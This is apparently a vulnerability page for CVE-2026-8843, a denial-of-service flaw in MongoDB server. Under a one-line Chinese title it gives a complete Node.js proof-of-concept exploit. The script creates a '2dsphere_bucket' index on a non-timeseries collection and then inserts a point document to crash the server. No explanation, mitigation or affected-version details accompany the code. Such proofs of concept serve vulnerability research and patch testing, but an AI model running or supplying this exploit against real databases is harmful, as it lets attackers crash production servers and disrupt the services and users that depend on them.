CVE-2026-8843 MongoDB服务器拒绝服务漏洞

// MongoDB PoC for CVE-2026-8843 // This script demonstrates the DoS vulnerability by creating a forbidden index type. const { MongoClient } = require("mongodb"); async function exploit() { const uri = "mongodb://localhost:27017"; const client = new MongoClient(uri); try { await client.connect(); const db = client.db("test_db"); const collection = db.collection("test_collection"); console.log("[+] Creating '2dsphere_bucket' index on a non-timeseries collection..."); // This operation should ideally fail or be restricted, but succeeds in vulnerable versions await collection.createIndex({ loc: "2dsphere_bucket" }); console.log("[+] Index created successfully."); console.log("[+] Inserting a document to trigger the index update..."); // This insert will trigger the server crash await collection.insertOne({ loc: { type: "Point", coordinates: [0, 0] }, name: "CrashMe" }); console.log("[-] Exploit failed or server did not crash."); } catch (error) { console.error("Error occurred (expected if server crashed):", error); } finally { await client.close(); // May not reach here if server crashes } } exploit();